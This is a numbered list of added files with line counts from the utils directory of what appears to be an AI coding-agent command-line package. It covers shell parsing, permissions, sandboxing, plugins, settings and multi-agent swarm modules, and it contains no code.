  1469. package/dist/src/utils/awsAuthStatusManager.js +66 -0
  1470. package/dist/src/utils/background/remote/preconditions.js +175 -0
  1471. package/dist/src/utils/background/remote/remoteSession.js +53 -0
  1472. package/dist/src/utils/backgroundHousekeeping.js +66 -0
  1473. package/dist/src/utils/bash/ParsedCommand.js +241 -0
  1474. package/dist/src/utils/bash/ShellSnapshot.js +489 -0
  1475. package/dist/src/utils/bash/ast.js +2590 -0
  1476. package/dist/src/utils/bash/bashParser.js +4355 -0
  1477. package/dist/src/utils/bash/bashPipeCommand.js +249 -0
  1478. package/dist/src/utils/bash/commands.js +1131 -0
  1479. package/dist/src/utils/bash/heredoc.js +647 -0
  1480. package/dist/src/utils/bash/parser.js +195 -0
  1481. package/dist/src/utils/bash/prefix.js +154 -0
  1482. package/dist/src/utils/bash/registry.js +23 -0
  1483. package/dist/src/utils/bash/shellCompletion.js +196 -0
  1484. package/dist/src/utils/bash/shellPrefix.js +25 -0
  1485. package/dist/src/utils/bash/shellQuote.js +253 -0
  1486. package/dist/src/utils/bash/shellQuoting.js +106 -0
  1487. package/dist/src/utils/bash/specs/alias.js +11 -0
  1488. package/dist/src/utils/bash/specs/index.js +16 -0
  1489. package/dist/src/utils/bash/specs/nohup.js +10 -0
  1490. package/dist/src/utils/bash/specs/pyright.js +88 -0
  1491. package/dist/src/utils/bash/specs/sleep.js +10 -0
  1492. package/dist/src/utils/bash/specs/srun.js +28 -0
  1493. package/dist/src/utils/bash/specs/time.js +10 -0
  1494. package/dist/src/utils/bash/specs/timeout.js +17 -0
  1495. package/dist/src/utils/bash/treeSitterAnalysis.js +407 -0
  1496. package/dist/src/utils/betas.js +332 -0
  1497. package/dist/src/utils/billing.js +54 -0
  1498. package/dist/src/utils/binaryCheck.js +40 -0
  1499. package/dist/src/utils/browser.js +58 -0
  1500. package/dist/src/utils/bufferedWriter.js +77 -0
  1501. package/dist/src/utils/bundledMode.js +19 -0
  1502. package/dist/src/utils/caCerts.js +93 -0
  1503. package/dist/src/utils/caCertsConfig.js +77 -0
  1504. package/dist/src/utils/cachePaths.js +28 -0
  1505. package/dist/src/utils/ccshareResume.js +16 -0
  1506. package/dist/src/utils/classifierApprovals.js +66 -0
  1507. package/dist/src/utils/classifierApprovalsHook.js +10 -0
  1508. package/dist/src/utils/claudeCodeHints.js +142 -0
  1509. package/dist/src/utils/claudeDesktop.js +108 -0
  1510. package/dist/src/utils/claudeInChrome/chromeNativeHost.js +416 -0
  1511. package/dist/src/utils/claudeInChrome/common.js +466 -0
  1512. package/dist/src/utils/claudeInChrome/mcpServer.js +237 -0
  1513. package/dist/src/utils/claudeInChrome/prompt.js +79 -0
  1514. package/dist/src/utils/claudeInChrome/setup.js +320 -0
  1515. package/dist/src/utils/claudeInChrome/setupPortable.js +172 -0
  1516. package/dist/src/utils/claudeInChrome/toolRendering.js +234 -0
  1517. package/dist/src/utils/claudemd.js +1054 -0
  1518. package/dist/src/utils/cleanup.js +514 -0
  1519. package/dist/src/utils/cleanupRegistry.js +22 -0
  1520. package/dist/src/utils/cliArgs.js +53 -0
  1521. package/dist/src/utils/cliHighlight.js +45 -0
  1522. package/dist/src/utils/codeIndexing.js +149 -0
  1523. package/dist/src/utils/collapseBackgroundBashNotifications.js +70 -0
  1524. package/dist/src/utils/collapseHookSummaries.js +48 -0
  1525. package/dist/src/utils/collapseReadSearch.js +871 -0
  1526. package/dist/src/utils/collapseTeammateShutdowns.js +44 -0
  1527. package/dist/src/utils/combinedAbortSignal.js +40 -0
  1528. package/dist/src/utils/commandLifecycle.js +7 -0
  1529. package/dist/src/utils/commitAttribution.js +720 -0
  1530. package/dist/src/utils/completionCache.js +138 -0
  1531. package/dist/src/utils/computerUse/appNames.js +170 -0
  1532. package/dist/src/utils/computerUse/cleanup.js +66 -0
  1533. package/dist/src/utils/computerUse/common.js +56 -0
  1534. package/dist/src/utils/computerUse/computerUseLock.js +183 -0
  1535. package/dist/src/utils/computerUse/drainRunLoop.js +71 -0
  1536. package/dist/src/utils/computerUse/escHotkey.js +53 -0
  1537. package/dist/src/utils/computerUse/executor.js +480 -0
  1538. package/dist/src/utils/computerUse/gates.js +55 -0
  1539. package/dist/src/utils/computerUse/hostAdapter.js +62 -0
  1540. package/dist/src/utils/computerUse/inputLoader.js +27 -0
  1541. package/dist/src/utils/computerUse/mcpServer.js +84 -0
  1542. package/dist/src/utils/computerUse/setup.js +42 -0
  1543. package/dist/src/utils/computerUse/swiftLoader.js +20 -0
  1544. package/dist/src/utils/computerUse/toolRendering.js +100 -0
  1545. package/dist/src/utils/computerUse/wrapper.js +318 -0
  1546. package/dist/src/utils/concurrentSessions.js +179 -0
  1547. package/dist/src/utils/config.js +1084 -0
  1548. package/dist/src/utils/configConstants.js +18 -0
  1549. package/dist/src/utils/contentArray.js +45 -0
  1550. package/dist/src/utils/context.js +185 -0
  1551. package/dist/src/utils/contextAnalysis.js +171 -0
  1552. package/dist/src/utils/contextSuggestions.js +158 -0
  1553. package/dist/src/utils/controlMessageCompat.js +31 -0
  1554. package/dist/src/utils/conversationRecovery.js +436 -0
  1555. package/dist/src/utils/cron.js +260 -0
  1556. package/dist/src/utils/cronJitterConfig.js +62 -0
  1557. package/dist/src/utils/cronScheduler.js +388 -0
  1558. package/dist/src/utils/cronTasks.js +332 -0
  1559. package/dist/src/utils/cronTasksLock.js +164 -0
  1560. package/dist/src/utils/crossProjectResume.js +46 -0
  1561. package/dist/src/utils/crypto.js +13 -0
  1562. package/dist/src/utils/cwd.js +29 -0
  1563. package/dist/src/utils/databaseMcp/common.js +48 -0
  1564. package/dist/src/utils/databaseMcp/mcpServer.js +2 -0
  1565. package/dist/src/utils/databaseMcp/server/connection.js +243 -0
  1566. package/dist/src/utils/databaseMcp/server/index.js +1442 -0
  1567. package/dist/src/utils/databaseMcp/server/queries.js +683 -0
  1568. package/dist/src/utils/databaseMcp/server/types.js +7 -0
  1569. package/dist/src/utils/databaseMcp/setup.js +28 -0
  1570. package/dist/src/utils/debug.js +220 -0
  1571. package/dist/src/utils/debugFilter.js +125 -0
  1572. package/dist/src/utils/deepLink/banner.js +103 -0
  1573. package/dist/src/utils/deepLink/parseDeepLink.js +138 -0
  1574. package/dist/src/utils/deepLink/protocolHandler.js +119 -0
  1575. package/dist/src/utils/deepLink/registerProtocol.js +291 -0
  1576. package/dist/src/utils/deepLink/terminalLauncher.js +455 -0
  1577. package/dist/src/utils/deepLink/terminalPreference.js +51 -0
  1578. package/dist/src/utils/desktopDeepLink.js +208 -0
  1579. package/dist/src/utils/detectRepository.js +157 -0
  1580. package/dist/src/utils/diagLogs.js +74 -0
  1581. package/dist/src/utils/diff.js +108 -0
  1582. package/dist/src/utils/directMemberMessage.js +34 -0
  1583. package/dist/src/utils/displayTags.js +46 -0
  1584. package/dist/src/utils/doctorContextWarnings.js +179 -0
  1585. package/dist/src/utils/doctorDiagnostic.js +495 -0
  1586. package/dist/src/utils/dxt/helpers.js +64 -0
  1587. package/dist/src/utils/dxt/zip.js +167 -0
  1588. package/dist/src/utils/earlyInput.js +166 -0
  1589. package/dist/src/utils/editor.js +163 -0
  1590. package/dist/src/utils/effort.js +278 -0
  1591. package/dist/src/utils/embeddedTools.js +26 -0
  1592. package/dist/src/utils/env.js +358 -0
  1593. package/dist/src/utils/envDynamic.js +130 -0
  1594. package/dist/src/utils/envUtils.js +192 -0
  1595. package/dist/src/utils/envValidation.js +26 -0
  1596. package/dist/src/utils/errorLogSink.js +197 -0
  1597. package/dist/src/utils/errors.js +207 -0
  1598. package/dist/src/utils/eventLoopStallDetector.js +16 -0
  1599. package/dist/src/utils/exampleCommands.js +165 -0
  1600. package/dist/src/utils/execFileNoThrow.js +93 -0
  1601. package/dist/src/utils/execFileNoThrowPortable.js +111 -0
  1602. package/dist/src/utils/execSyncWrapper.js +68 -0
  1603. package/dist/src/utils/exportRenderer.js +71 -0
  1604. package/dist/src/utils/extraUsage.js +19 -0
  1605. package/dist/src/utils/fastMode.js +393 -0
  1606. package/dist/src/utils/file.js +467 -0
  1607. package/dist/src/utils/fileHistory.js +851 -0
  1608. package/dist/src/utils/fileOperationAnalytics.js +45 -0
  1609. package/dist/src/utils/filePersistence/filePersistence.js +212 -0
  1610. package/dist/src/utils/filePersistence/outputsScanner.js +104 -0
  1611. package/dist/src/utils/filePersistence/types.js +5 -0
  1612. package/dist/src/utils/fileRead.js +81 -0
  1613. package/dist/src/utils/fileReadCache.js +78 -0
  1614. package/dist/src/utils/fileStateCache.js +99 -0
  1615. package/dist/src/utils/findExecutable.js +13 -0
  1616. package/dist/src/utils/fingerprint.js +59 -0
  1617. package/dist/src/utils/forkedAgent.js +410 -0
  1618. package/dist/src/utils/format.js +238 -0
  1619. package/dist/src/utils/formatBriefTimestamp.js +72 -0
  1620. package/dist/src/utils/fpsTracker.js +34 -0
  1621. package/dist/src/utils/frontmatterParser.js +260 -0
  1622. package/dist/src/utils/fsOperations.js +834 -0
  1623. package/dist/src/utils/fullscreen.js +194 -0
  1624. package/dist/src/utils/generatedFiles.js +122 -0
  1625. package/dist/src/utils/generators.js +67 -0
  1626. package/dist/src/utils/genericProcessUtils.js +155 -0
  1627. package/dist/src/utils/getWorktreePaths.js +56 -0
  1628. package/dist/src/utils/getWorktreePathsPortable.js +23 -0
  1629. package/dist/src/utils/ghPrStatus.js +71 -0
  1630. package/dist/src/utils/git/gitConfigParser.js +226 -0
  1631. package/dist/src/utils/git/gitFilesystem.js +606 -0
  1632. package/dist/src/utils/git/gitignore.js +84 -0
  1633. package/dist/src/utils/git.js +725 -0
  1634. package/dist/src/utils/gitDiff.js +395 -0
  1635. package/dist/src/utils/gitSettings.js +18 -0
  1636. package/dist/src/utils/github/ghAuthStatus.js +23 -0
  1637. package/dist/src/utils/githubRepoPathMapping.js +135 -0
  1638. package/dist/src/utils/glob.js +90 -0
  1639. package/dist/src/utils/gracefulShutdown.js +447 -0
  1640. package/dist/src/utils/groupToolUses.js +126 -0
  1641. package/dist/src/utils/handlePromptSubmit.js +398 -0
  1642. package/dist/src/utils/hash.js +46 -0
  1643. package/dist/src/utils/headlessProfiler.js +147 -0
  1644. package/dist/src/utils/heapDumpService.js +202 -0
  1645. package/dist/src/utils/heatmap.js +151 -0
  1646. package/dist/src/utils/highlightMatch.js +28 -0
  1647. package/dist/src/utils/hooks/AsyncHookRegistry.js +187 -0
  1648. package/dist/src/utils/hooks/apiQueryHookHelper.js +77 -0
  1649. package/dist/src/utils/hooks/execAgentHook.js +257 -0
  1650. package/dist/src/utils/hooks/execHttpHook.js +184 -0
  1651. package/dist/src/utils/hooks/execPromptHook.js +171 -0
  1652. package/dist/src/utils/hooks/fileChangedWatcher.js +161 -0
  1653. package/dist/src/utils/hooks/hookEvents.js +111 -0
  1654. package/dist/src/utils/hooks/hookHelpers.js +60 -0
  1655. package/dist/src/utils/hooks/hooksConfigManager.js +323 -0
  1656. package/dist/src/utils/hooks/hooksConfigSnapshot.js +114 -0
  1657. package/dist/src/utils/hooks/hooksSettings.js +204 -0
  1658. package/dist/src/utils/hooks/postSamplingHooks.js +39 -0
  1659. package/dist/src/utils/hooks/registerFrontmatterHooks.js +47 -0
  1660. package/dist/src/utils/hooks/registerSkillHooks.js +40 -0
  1661. package/dist/src/utils/hooks/sessionHooks.js +252 -0
  1662. package/dist/src/utils/hooks/skillImprovement.js +211 -0
  1663. package/dist/src/utils/hooks/ssrfGuard.js +258 -0
  1664. package/dist/src/utils/hooks.js +3668 -0
  1665. package/dist/src/utils/horizontalScroll.js +108 -0
  1666. package/dist/src/utils/http.js +121 -0
  1667. package/dist/src/utils/hyperlink.js +28 -0
  1668. package/dist/src/utils/iTermBackup.js +48 -0
  1669. package/dist/src/utils/ide.js +1235 -0
  1670. package/dist/src/utils/idePathConversion.js +66 -0
  1671. package/dist/src/utils/idleTimeout.js +44 -0
  1672. package/dist/src/utils/imagePaste.js +329 -0
  1673. package/dist/src/utils/imageResizer.js +664 -0
  1674. package/dist/src/utils/imageStore.js +150 -0
  1675. package/dist/src/utils/imageValidation.js +92 -0
  1676. package/dist/src/utils/immediateCommand.js +12 -0
  1677. package/dist/src/utils/inProcessTeammateHelpers.js +71 -0
  1678. package/dist/src/utils/ink.js +20 -0
  1679. package/dist/src/utils/intl.js +83 -0
  1680. package/dist/src/utils/jetbrains.js +152 -0
  1681. package/dist/src/utils/json.js +295 -0
  1682. package/dist/src/utils/jsonRead.js +14 -0
  1683. package/dist/src/utils/keyboardShortcuts.js +11 -0
  1684. package/dist/src/utils/lazySchema.js +8 -0
  1685. package/dist/src/utils/listSessionsImpl.js +332 -0
  1686. package/dist/src/utils/localInstaller.js +131 -0
  1687. package/dist/src/utils/lockfile.js +22 -0
  1688. package/dist/src/utils/log.js +280 -0
  1689. package/dist/src/utils/logoV2Utils.js +290 -0
  1690. package/dist/src/utils/mailbox.js +50 -0
  1691. package/dist/src/utils/managedEnv.js +160 -0
  1692. package/dist/src/utils/managedEnvConstants.js +200 -0
  1693. package/dist/src/utils/markdown.js +300 -0
  1694. package/dist/src/utils/markdownConfigLoader.js +494 -0
  1695. package/dist/src/utils/mcp/dateTimeParser.js +102 -0
  1696. package/dist/src/utils/mcp/elicitationValidation.js +259 -0
  1697. package/dist/src/utils/mcpInstructionsDelta.js +97 -0
  1698. package/dist/src/utils/mcpOutputStorage.js +159 -0
  1699. package/dist/src/utils/mcpValidation.js +165 -0
  1700. package/dist/src/utils/mcpWebSocketTransport.js +180 -0
  1701. package/dist/src/utils/memoize.js +205 -0
  1702. package/dist/src/utils/memory/types.js +9 -0
  1703. package/dist/src/utils/memory/versions.js +7 -0
  1704. package/dist/src/utils/memoryFileDetection.js +247 -0
  1705. package/dist/src/utils/messagePredicates.js +6 -0
  1706. package/dist/src/utils/messageQueueManager.js +430 -0
  1707. package/dist/src/utils/messages/mappers.js +240 -0
  1708. package/dist/src/utils/messages/systemInit.js +74 -0
  1709. package/dist/src/utils/messages.js +4273 -0
  1710. package/dist/src/utils/model/agent.js +128 -0
  1711. package/dist/src/utils/model/aliases.js +21 -0
  1712. package/dist/src/utils/model/antModels.js +25 -0
  1713. package/dist/src/utils/model/bedrock.js +220 -0
  1714. package/dist/src/utils/model/check1mAccess.js +64 -0
  1715. package/dist/src/utils/model/configs.js +93 -0
  1716. package/dist/src/utils/model/contextWindowUpgradeCheck.js +41 -0
  1717. package/dist/src/utils/model/deprecation.js +72 -0
  1718. package/dist/src/utils/model/model.js +641 -0
  1719. package/dist/src/utils/model/modelAllowlist.js +148 -0
  1720. package/dist/src/utils/model/modelCapabilities.js +107 -0
  1721. package/dist/src/utils/model/modelOptions.js +645 -0
  1722. package/dist/src/utils/model/modelStrings.js +144 -0
  1723. package/dist/src/utils/model/modelSupportOverrides.js +40 -0
  1724. package/dist/src/utils/model/openrouter.js +51 -0
  1725. package/dist/src/utils/model/providerBaseUrls.js +77 -0
  1726. package/dist/src/utils/model/providerCatalog.js +81 -0
  1727. package/dist/src/utils/model/providerModels.js +334 -0
  1728. package/dist/src/utils/model/providerProfiles.js +392 -0
  1729. package/dist/src/utils/model/providerProfilesDb.js +886 -0
  1730. package/dist/src/utils/model/providerSwitch.js +50 -0
  1731. package/dist/src/utils/model/providerWorkspaces.js +36 -0
  1732. package/dist/src/utils/model/providers.js +199 -0
  1733. package/dist/src/utils/model/validateModel.js +257 -0
  1734. package/dist/src/utils/modelCost.js +160 -0
  1735. package/dist/src/utils/modifiers.js +35 -0
  1736. package/dist/src/utils/mtls.js +134 -0
  1737. package/dist/src/utils/nativeInstaller/download.js +370 -0
  1738. package/dist/src/utils/nativeInstaller/index.js +8 -0
  1739. package/dist/src/utils/nativeInstaller/installer.js +1396 -0
  1740. package/dist/src/utils/nativeInstaller/packageManagers.js +258 -0
  1741. package/dist/src/utils/nativeInstaller/pidLock.js +347 -0
  1742. package/dist/src/utils/notebook.js +176 -0
  1743. package/dist/src/utils/objectGroupBy.js +15 -0
  1744. package/dist/src/utils/orchestration/store/index.js +6 -0
  1745. package/dist/src/utils/orchestration/store/orchestrationDb.js +42 -0
  1746. package/dist/src/utils/orchestration/store/providerAgentStore.js +244 -0
  1747. package/dist/src/utils/orchestration/store/providerWorkspaceStore.js +125 -0
  1748. package/dist/src/utils/orchestration/store/runStore.js +486 -0
  1749. package/dist/src/utils/orchestration/store/teamStore.js +285 -0
  1750. package/dist/src/utils/orchestration/store/types.js +1 -0
  1751. package/dist/src/utils/pasteStore.js +93 -0
  1752. package/dist/src/utils/path.js +140 -0
  1753. package/dist/src/utils/pdf.js +236 -0
  1754. package/dist/src/utils/pdfUtils.js +61 -0
  1755. package/dist/src/utils/peerAddress.js +20 -0
  1756. package/dist/src/utils/permissions/PermissionMode.js +95 -0
  1757. package/dist/src/utils/permissions/PermissionPromptToolResultSchema.js +85 -0
  1758. package/dist/src/utils/permissions/PermissionResult.js +11 -0
  1759. package/dist/src/utils/permissions/PermissionRule.js +19 -0
  1760. package/dist/src/utils/permissions/PermissionUpdate.js +330 -0
  1761. package/dist/src/utils/permissions/PermissionUpdateSchema.js +61 -0
  1762. package/dist/src/utils/permissions/autoModeState.js +34 -0
  1763. package/dist/src/utils/permissions/bashClassifier.js +30 -0
  1764. package/dist/src/utils/permissions/bypassPermissionsKillswitch.js +115 -0
  1765. package/dist/src/utils/permissions/classifierDecision.js +88 -0
  1766. package/dist/src/utils/permissions/classifierShared.js +28 -0
  1767. package/dist/src/utils/permissions/dangerousPatterns.js +78 -0
  1768. package/dist/src/utils/permissions/denialTracking.js +34 -0
  1769. package/dist/src/utils/permissions/filesystem.js +1426 -0
  1770. package/dist/src/utils/permissions/getNextPermissionMode.js +74 -0
  1771. package/dist/src/utils/permissions/pathValidation.js +351 -0
  1772. package/dist/src/utils/permissions/permissionExplainer.js +188 -0
  1773. package/dist/src/utils/permissions/permissionRuleParser.js +177 -0
  1774. package/dist/src/utils/permissions/permissionSetup.js +1164 -0
  1775. package/dist/src/utils/permissions/permissions.js +1106 -0
  1776. package/dist/src/utils/permissions/permissionsDb.js +322 -0
  1777. package/dist/src/utils/permissions/permissionsLoader.js +217 -0
  1778. package/dist/src/utils/permissions/shadowedRuleDetection.js +149 -0
  1779. package/dist/src/utils/permissions/shellRuleMatching.js +174 -0
  1780. package/dist/src/utils/permissions/yoloClassifier.js +1195 -0
  1781. package/dist/src/utils/planModeV2.js +75 -0
  1782. package/dist/src/utils/plans.js +334 -0
  1783. package/dist/src/utils/platform.js +122 -0
  1784. package/dist/src/utils/plugins/addDirPluginSettings.js +53 -0
  1785. package/dist/src/utils/plugins/cacheUtils.js +174 -0
  1786. package/dist/src/utils/plugins/dependencyResolver.js +244 -0
  1787. package/dist/src/utils/plugins/fetchTelemetry.js +108 -0
  1788. package/dist/src/utils/plugins/gitAvailability.js +65 -0
  1789. package/dist/src/utils/plugins/headlessPluginInstall.js +136 -0
  1790. package/dist/src/utils/plugins/hintRecommendation.js +136 -0
  1791. package/dist/src/utils/plugins/installCounts.js +218 -0
  1792. package/dist/src/utils/plugins/installedPluginsManager.js +1003 -0
  1793. package/dist/src/utils/plugins/loadPluginAgents.js +219 -0
  1794. package/dist/src/utils/plugins/loadPluginCommands.js +595 -0
  1795. package/dist/src/utils/plugins/loadPluginHooks.js +239 -0
  1796. package/dist/src/utils/plugins/loadPluginOutputStyles.js +112 -0
  1797. package/dist/src/utils/plugins/lspPluginIntegration.js +293 -0
  1798. package/dist/src/utils/plugins/lspRecommendation.js +278 -0
  1799. package/dist/src/utils/plugins/managedPlugins.js +26 -0
  1800. package/dist/src/utils/plugins/marketplaceHelpers.js +470 -0
  1801. package/dist/src/utils/plugins/marketplaceManager.js +1939 -0
  1802. package/dist/src/utils/plugins/mcpPluginIntegration.js +465 -0
  1803. package/dist/src/utils/plugins/mcpbHandler.js +708 -0
  1804. package/dist/src/utils/plugins/officialMarketplace.js +21 -0
  1805. package/dist/src/utils/plugins/officialMarketplaceGcs.js +195 -0
  1806. package/dist/src/utils/plugins/officialMarketplaceStartupCheck.js +338 -0
  1807. package/dist/src/utils/plugins/orphanedPluginFilter.js +96 -0
  1808. package/dist/src/utils/plugins/parseMarketplaceInput.js +143 -0
  1809. package/dist/src/utils/plugins/performStartupChecks.js +66 -0
  1810. package/dist/src/utils/plugins/pluginAutoupdate.js +210 -0
  1811. package/dist/src/utils/plugins/pluginBlocklist.js +93 -0
  1812. package/dist/src/utils/plugins/pluginDirectories.js +172 -0
  1813. package/dist/src/utils/plugins/pluginFlagging.js +173 -0
  1814. package/dist/src/utils/plugins/pluginIdentifier.js +78 -0
  1815. package/dist/src/utils/plugins/pluginInstallationHelpers.js +400 -0
  1816. package/dist/src/utils/plugins/pluginLoader.js +2426 -0
  1817. package/dist/src/utils/plugins/pluginOptionsStorage.js +311 -0
  1818. package/dist/src/utils/plugins/pluginPolicy.js +18 -0
  1819. package/dist/src/utils/plugins/pluginStartupCheck.js +261 -0
  1820. package/dist/src/utils/plugins/pluginVersioning.js +128 -0
  1821. package/dist/src/utils/plugins/reconciler.js +181 -0
  1822. package/dist/src/utils/plugins/refresh.js +162 -0
  1823. package/dist/src/utils/plugins/schemas.js +1283 -0
  1824. package/dist/src/utils/plugins/validatePlugin.js +765 -0
  1825. package/dist/src/utils/plugins/walkPluginMarkdown.js +49 -0
  1826. package/dist/src/utils/plugins/zipCache.js +346 -0
  1827. package/dist/src/utils/plugins/zipCacheAdapters.js +133 -0
  1828. package/dist/src/utils/postCommitAttribution.js +16 -0
  1829. package/dist/src/utils/powershell/dangerousCmdlets.js +174 -0
  1830. package/dist/src/utils/powershell/parser.js +1357 -0
  1831. package/dist/src/utils/powershell/staticPrefix.js +277 -0
  1832. package/dist/src/utils/preflightChecks.js +147 -0
  1833. package/dist/src/utils/privacyLevel.js +49 -0
  1834. package/dist/src/utils/process.js +56 -0
  1835. package/dist/src/utils/processUserInput/processBashCommand.js +119 -0
  1836. package/dist/src/utils/processUserInput/processSlashCommand.js +859 -0
  1837. package/dist/src/utils/processUserInput/processTextPrompt.js +68 -0
  1838. package/dist/src/utils/processUserInput/processUserInput.js +326 -0
  1839. package/dist/src/utils/profilerBase.js +29 -0
  1840. package/dist/src/utils/promptCategory.js +39 -0
  1841. package/dist/src/utils/promptEditor.js +151 -0
  1842. package/dist/src/utils/promptShellExecution.js +119 -0
  1843. package/dist/src/utils/proxy.js +347 -0
  1844. package/dist/src/utils/queryContext.js +110 -0
  1845. package/dist/src/utils/queryHelpers.js +436 -0
  1846. package/dist/src/utils/queryProfiler.js +242 -0
  1847. package/dist/src/utils/queueProcessor.js +70 -0
  1848. package/dist/src/utils/readEditContext.js +176 -0
  1849. package/dist/src/utils/readFileInRange.js +278 -0
  1850. package/dist/src/utils/releaseNotes.js +304 -0
  1851. package/dist/src/utils/renderOptions.js +67 -0
  1852. package/dist/src/utils/ripgrep.js +540 -0
  1853. package/dist/src/utils/sandbox/sandbox-adapter.js +751 -0
  1854. package/dist/src/utils/sandbox/sandbox-ui-utils.js +11 -0
  1855. package/dist/src/utils/sanitization.js +72 -0
  1856. package/dist/src/utils/screenshotClipboard.js +89 -0
  1857. package/dist/src/utils/sdkEventQueue.js +49 -0
  1858. package/dist/src/utils/sdkHeapDumpMonitor.js +16 -0
  1859. package/dist/src/utils/secureStorage/fallbackStorage.js +59 -0
  1860. package/dist/src/utils/secureStorage/index.js +14 -0
  1861. package/dist/src/utils/secureStorage/keychainPrefetch.js +91 -0
  1862. package/dist/src/utils/secureStorage/macOsKeychainHelpers.js +91 -0
  1863. package/dist/src/utils/secureStorage/macOsKeychainStorage.js +192 -0
  1864. package/dist/src/utils/secureStorage/plainTextStorage.js +81 -0
  1865. package/dist/src/utils/secureStorage/secureStoreDefs.js +1 -0
  1866. package/dist/src/utils/secureStorage/sqliteStorage.js +224 -0
  1867. package/dist/src/utils/secureStorage/types.js +1 -0
  1868. package/dist/src/utils/semanticBoolean.js +23 -0
  1869. package/dist/src/utils/semanticNumber.js +34 -0
  1870. package/dist/src/utils/semver.js +53 -0
  1871. package/dist/src/utils/sequential.js +43 -0
  1872. package/dist/src/utils/sessionActivity.js +120 -0
  1873. package/dist/src/utils/sessionDataUploader.js +16 -0
  1874. package/dist/src/utils/sessionEnvVars.js +18 -0
  1875. package/dist/src/utils/sessionEnvironment.js +131 -0
  1876. package/dist/src/utils/sessionFileAccessHooks.js +207 -0
  1877. package/dist/src/utils/sessionIngressAuth.js +113 -0
  1878. package/dist/src/utils/sessionRestore.js +359 -0
  1879. package/dist/src/utils/sessionStart.js +165 -0
  1880. package/dist/src/utils/sessionState.js +76 -0
  1881. package/dist/src/utils/sessionStorage.js +4162 -0
  1882. package/dist/src/utils/sessionStoragePortable.js +665 -0
  1883. package/dist/src/utils/sessionTitle.js +120 -0
  1884. package/dist/src/utils/sessionUrl.js +50 -0
  1885. package/dist/src/utils/set.js +50 -0
  1886. package/dist/src/utils/settings/allErrors.js +29 -0
  1887. package/dist/src/utils/settings/applySettingsChange.js +65 -0
  1888. package/dist/src/utils/settings/changeDetector.js +409 -0
  1889. package/dist/src/utils/settings/constants.js +166 -0
  1890. package/dist/src/utils/settings/internalWrites.js +33 -0
  1891. package/dist/src/utils/settings/managedPath.js +29 -0
  1892. package/dist/src/utils/settings/mdm/constants.js +62 -0
  1893. package/dist/src/utils/settings/mdm/rawRead.js +97 -0
  1894. package/dist/src/utils/settings/mdm/settings.js +254 -0
  1895. package/dist/src/utils/settings/permissionValidation.js +224 -0
  1896. package/dist/src/utils/settings/pluginOnlyPolicy.js +53 -0
  1897. package/dist/src/utils/settings/schemaOutput.js +7 -0
  1898. package/dist/src/utils/settings/settings.js +844 -0
  1899. package/dist/src/utils/settings/settingsCache.js +47 -0
  1900. package/dist/src/utils/settings/toolValidationConfig.js +76 -0
  1901. package/dist/src/utils/settings/types.js +846 -0
  1902. package/dist/src/utils/settings/validateEditTool.js +34 -0
  1903. package/dist/src/utils/settings/validation.js +192 -0
  1904. package/dist/src/utils/settings/validationTips.js +111 -0
  1905. package/dist/src/utils/shell/bashProvider.js +202 -0
  1906. package/dist/src/utils/shell/outputLimits.js +7 -0
  1907. package/dist/src/utils/shell/powershellDetection.js +96 -0
  1908. package/dist/src/utils/shell/powershellProvider.js +104 -0
  1909. package/dist/src/utils/shell/prefix.js +246 -0
  1910. package/dist/src/utils/shell/readOnlyCommandValidation.js +1776 -0
  1911. package/dist/src/utils/shell/resolveDefaultShell.js +13 -0
  1912. package/dist/src/utils/shell/shellProvider.js +2 -0
  1913. package/dist/src/utils/shell/shellToolUtils.js +21 -0
  1914. package/dist/src/utils/shell/specPrefix.js +198 -0
  1915. package/dist/src/utils/shellConfig.js +136 -0
  1916. package/dist/src/utils/sideQuery.js +195 -0
  1917. package/dist/src/utils/sideQuestion.js +121 -0
  1918. package/dist/src/utils/signal.js +34 -0
  1919. package/dist/src/utils/sinks.js +15 -0
  1920. package/dist/src/utils/skills/skillChangeDetector.js +266 -0
  1921. package/dist/src/utils/slashCommandParsing.js +46 -0
  1922. package/dist/src/utils/sleep.js +72 -0
  1923. package/dist/src/utils/sliceAnsi.js +74 -0
  1924. package/dist/src/utils/slowOperations.js +323 -0
  1925. package/dist/src/utils/standaloneAgent.js +20 -0
  1926. package/dist/src/utils/startupProfiler.js +158 -0
  1927. package/dist/src/utils/staticRender.js +103 -0
  1928. package/dist/src/utils/stats.js +802 -0
  1929. package/dist/src/utils/statsCache.js +330 -0
  1930. package/dist/src/utils/status.js +552 -0
  1931. package/dist/src/utils/statusNoticeDefinitions.js +112 -0
  1932. package/dist/src/utils/statusNoticeHelpers.js +15 -0
  1933. package/dist/src/utils/stream.js +73 -0
  1934. package/dist/src/utils/streamJsonStdoutGuard.js +107 -0
  1935. package/dist/src/utils/streamlinedTransform.js +162 -0
  1936. package/dist/src/utils/stringUtils.js +202 -0
  1937. package/dist/src/utils/subprocessEnv.js +87 -0
  1938. package/dist/src/utils/suggestions/commandSuggestions.js +458 -0
  1939. package/dist/src/utils/suggestions/directoryCompletion.js +191 -0
  1940. package/dist/src/utils/suggestions/shellHistoryCompletion.js +95 -0
  1941. package/dist/src/utils/suggestions/skillUsageTracking.js +50 -0
  1942. package/dist/src/utils/suggestions/slackChannelSuggestions.js +169 -0
  1943. package/dist/src/utils/swarm/It2SetupPrompt.js +386 -0
  1944. package/dist/src/utils/swarm/backends/ITermBackend.js +276 -0
  1945. package/dist/src/utils/swarm/backends/InProcessBackend.js +237 -0
  1946. package/dist/src/utils/swarm/backends/PaneBackendExecutor.js +250 -0
  1947. package/dist/src/utils/swarm/backends/TmuxBackend.js +574 -0
  1948. package/dist/src/utils/swarm/backends/detection.js +112 -0
  1949. package/dist/src/utils/swarm/backends/it2Setup.js +185 -0
  1950. package/dist/src/utils/swarm/backends/registry.js +369 -0
  1951. package/dist/src/utils/swarm/backends/teammateModeSnapshot.js +68 -0
  1952. package/dist/src/utils/swarm/backends/types.js +9 -0
  1953. package/dist/src/utils/swarm/constants.js +29 -0
  1954. package/dist/src/utils/swarm/inProcessRunner.js +1021 -0
  1955. package/dist/src/utils/swarm/leaderPermissionBridge.js +31 -0
  1956. package/dist/src/utils/swarm/permissionSync.js +667 -0
  1957. package/dist/src/utils/swarm/reconnection.js +82 -0
  1958. package/dist/src/utils/swarm/spawnInProcess.js +218 -0
  1959. package/dist/src/utils/swarm/spawnUtils.js +123 -0
  1960. package/dist/src/utils/swarm/teamHelpers.js +484 -0
  1961. package/dist/src/utils/swarm/teammateInit.js +87 -0
  1962. package/dist/src/utils/swarm/teammateLayoutManager.js +82 -0
  1963. package/dist/src/utils/swarm/teammateModel.js +9 -0
  1964. package/dist/src/utils/swarm/teammatePromptAddendum.js +17 -0
